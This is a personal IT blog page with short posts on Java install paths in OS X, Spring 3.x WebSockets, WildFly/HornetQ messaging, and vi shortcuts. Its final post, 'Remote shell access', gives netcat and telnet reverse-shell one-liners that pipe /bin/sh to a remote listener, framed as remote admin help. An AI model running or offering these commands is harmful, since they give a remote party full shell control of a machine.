Saturday, September 6, 2014

Where is Java on OS X?

Up to Mountain Lion (10.8) both JDK and JRE were supplied by Apple and installed in
/System/Library/Frameworks/JavaVM.framework/Versions
Since Mavericks (10.9) the JDK is supplied by Oracle and installed in
/Library/Java/JavaVirtualMachines
The JRE is installed through Apple software update in
/Library/Internet Plug-Ins/JavaAppletPlugin.plugin

Thursday, March 20, 2014

Websockets with Spring Framework 3.x

Spring introduced support for WebSocket-style messaging in version 4.0, but how about spring 3.x?
- Can applications using spring framework 3.x have websocket endpoints integrated with spring's application context?

- Yes, they can.

I developed a small proof-of-concept application to demonstrate this.

This application sets up a websocket server endpoint with uri `/wstest` which will use a `@Autowired` spring bean to select a greeting word and reply to a websocket message.
The websocket connection is initiated and messages sent by an html page (`index.html`) running in a browser that supports websockets.


The Servlet container's scan for WebSocket endpoints is avoided by not using the `@ServerEndpoint` annotation and instead implementing a ServerEndpointConfig and adding it to the server container upon servlet context initialization.
This way, the endpoint instance will be provided by SpringConfigurator, which means it can itself be a spring bean and/or it can have spring dependencies automatically injected with the `@Autowired` annotation.

Checkout the full source and ready to run example on my Github page.

You can run the webapp with jetty executing the maven command `mvn jetty:run`

  • start your browser and access the url `http://localhost:8080/websocket-test/index.html`
  • type a message, press the button "Send" and see the response message.

You can also deploy and run websocket-test in WildFly 8:
  • add `websocket-test.war` to `WILDFLY_HOME/standalone/deployments
  • start WildFly 8
  • start your browser and access the url `http://localhost:8080/websocket-test/index.html`
  • type a message, press the button "Send" and see the response message.

Friday, February 28, 2014

Tuesday, February 4, 2014

Messaging Setup using spring on wildfly and hornetq

WildFly 8 is almost final and I bet some people are wanting to upgrade from JBoss. That is our case here at my job and our new setup is like this:

We have App 1 (spring-integration app) running on wildfly 1 and App 2 (spring server app) running on wildfly 2. Both wildfly are standalone instances.

App 2 publishes messages to its wildfly embedded hornetq broker.
App 1 listens to messages published on the hornetq at wildfly 2 using a durable subscription and the remote connection defined in wildfly 1.

First lets look at App 2.

  • application-2-context.xml is the snippet of a spring application-context that configures a JmsTemplate to send messages to the hornetq topic.
  • Standalone2.xml is the messaging-subsystem part of the wildfly 2 server configuration file:

I added a JMS Topic, disabled security for connections to the embedded hornetq broker and allow Gests to create durable queues. See the inline comments.

Now lets look at App 1.
In node 1, the wildfly server configuration file is partially displayed here in two separate files:

  • socket-binding@standalone1.xml shows the socket binding part of the wildfly configuration and the definition of the socket used to connect to the hornetq broker in Node 2.
  • messaging@standalone1.xml shows the messaging subsystem - defines the netty connector "netty-node2" and the pooled connection factory that facilitates the durable subscriptions to the EventsTopic on Node 2 - note the client-id definition.
  • application-1-context.xml is the snippet of a spring-integration application-context that configures the necessary beans to direct the messages published to EventsTopic ti a specific message channel.


Howdy Fellas

Here I go again venturing into the blogosphere... But this time, I promised myself that I will try to be a bit more "vocal" about the pursued subjects - mostly IT stuff (for a change).

I decided to write in English (even though I am Portuguese) because the subject is mostly IT stuff and I do not like to translate IT terms - It tends to get confusing. So, all you "natives", please accept my apologies for the "Pinglish" hacks every now and again. I will do my best not to be too upsetting.

I decided to start this blog because I think I might have something useful to share - More than 20 years working on IT, makes me sort of a dinosaur so... well I might have something useful to share and I sure as hell can use a memory jolt every now and again :)

VI shortcuts and tips

Goto end of document: SHIFT-g
Goto begining of document 1-SHIFT-g or :0
Goto end of line: $
Goto begining of line: 0
Insert line before current: SHIFT-o
Insert line after current: o
Join with next line: SHIFT-j
Search forward: /
Search backwards: ?

getting rid of ^M: :%s/CTRL-V CTRL-M//g (This will replace all carriage return characters with nothing as they are only needed in windows text editors.)


Many tanks to my friend Batalha - a true living VI encyclopedia!

Remote shell access

This example explains how to use the back channel scheme to remotely access another linux shell and thus fix a problem on the remote user's system. An Admin person will help a user person by getting access to the user's linux shell like so:
If user has nc (netcat):
On the Admin's linux have a terminal window listen on port 80 (or some other):

admin:~# nc -l -n -v -p 80

and on the User's linux connect to the admin's netcat like so:

user:~# nc -e /bin/sh admin_linux_IP 80


If user does not have netcat but has telnet:
On the Admin's linux setup 2 terminal windows listening on two ports like this:

admin:~1# nc -l -n -v -p 80
admin:~2# nc -l -n -v -p 25

and on the user's linux shell initiate the connection:

/bin/telnet admin_linux_IP 80 | /bin/sh | /bin/telnet admin_linux_IP 25